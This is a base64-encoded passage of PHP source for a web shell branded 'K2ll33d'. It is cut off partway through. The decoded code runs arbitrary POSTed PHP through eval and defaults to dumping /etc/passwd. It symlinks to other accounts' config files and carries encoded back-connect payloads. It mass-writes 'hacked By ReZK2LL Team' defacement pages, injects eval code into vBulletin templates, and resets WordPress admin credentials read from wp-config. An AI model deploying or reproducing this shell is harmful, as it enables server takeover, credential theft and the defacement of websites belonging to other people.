ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLi